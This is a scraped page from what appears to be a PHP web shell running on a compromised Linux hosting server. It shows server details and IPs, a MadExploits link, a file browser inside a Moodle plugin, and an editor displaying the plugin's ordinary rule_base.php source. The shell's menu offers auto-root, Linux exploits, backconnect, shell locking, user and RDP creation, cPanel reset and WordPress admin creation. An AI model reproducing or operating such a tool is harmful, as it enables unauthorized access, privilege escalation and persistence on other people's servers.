Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
xp /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
task
[ DIR ]
drwxr-xr-x
di.php
2.29
KB
-rw-r--r--
external.php
14.79
KB
-rw-r--r--
filter.php
10.08
KB
-rw-r--r--
rule.php
4.73
KB
-rw-r--r--
rule_base.php
6.37
KB
-rw-r--r--
rule_cm.php
7.51
KB
-rw-r--r--
rule_event.php
4.53
KB
-rw-r--r--
rule_property.php
3.96
KB
-rw-r--r--
ruleset.php
6.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rule_base.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Rule base. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Rule base class. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class block_xp_rule_base extends block_xp_rule { /** Contains comparison. */ const CT = 'contains'; /** Equal comparison. */ const EQ = 'eq'; /** Equal strict comparison. */ const EQS = 'eqs'; /** Greater than comparison. */ const GT = 'gt'; /** Greater than or equal comparison. */ const GTE = 'gte'; /** Less than comparison. */ const LT = 'lt'; /** Less than or equal comparison. */ const LTE = 'lte'; /** Regex comparison. */ const RX = 'regex'; /** * The raw value to compare against. * * @var mixed */ protected $value; /** * The constant value used as compare rule. * * @var string */ protected $compare; /** * Constructor. * * Read the parameters as follow: * - Subject must be $compare'd with $value. * - Subject must be equal to $value. * - Subject must be lower than $value. * - Subject must match regex $value. * * @param string $compare Constant value. * @param mixed $value The value. */ public function __construct($compare = self::EQ, $value = '') { $this->compare = $compare; $this->value = $value; } /** * Export the properties and their values. * * This must return all the values required by the {@link self::create()} method. * * @return array Keys are properties, values are the values. */ public function export() { $properties = parent::export(); $properties['compare'] = $this->compare; $properties['value'] = $this->value; return $properties; } /** * Return the compare select. * * @param string $basename * @return string */ protected function get_compare_select($basename) { return html_writer::select(array( self::CT => get_string('rule:' . self::CT, 'block_xp'), self::EQ => get_string('rule:' . self::EQ, 'block_xp') ), $basename . '[compare]', $this->compare, '', array('id' => '', 'class' => '')); } /** * Get the value to use during comparison. * * Override this method if your $value is a complex object. * * @return mixed The value to use. */ protected function get_value() { return $this->value; } /** * Get the value to use during comparison from the subject. * * Override this method when the object passed by the user * needs to be converted into a suitable value. * * @param mixed $subject The subject. * @return mixed The value to use. */ protected function get_subject_value($subject) { return $subject; } /** * Does the $subject match the rules. * * @param mixed $subject The subject of the comparison. * @return bool Whether or not it matches. */ public function match($subject) { $subj = $this->get_subject_value($subject); $value = $this->get_value(); $method = 'match_' . $this->compare; return $this->$method($subj, $value); } /** * Contains match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_contains($subj, $value) { return strpos($subj, $value) !== false; } /** * Equal match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_eq($subj, $value) { return $subj == $value; } /** * Equal strict match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_eqs($subj, $value) { return $subj === $value; } /** * Greather than match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_gt($subj, $value) { return $subj > $value; } /** * Greater than or equal match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_gte($subj, $value) { return $subj >= $value; } /** * Lower than. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_lt($subj, $value) { return $subj < $value; } /** * Lower than or equal. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_lte($subj, $value) { return $subj <= $value; } /** * Regex match. * * @param mixed $subj The subject value. * @param mixed $value The value to compare with. * @return bool Whether or not it matches. */ protected function match_regex($subj, $value) { return (bool) preg_match($value, $subj); } }
Close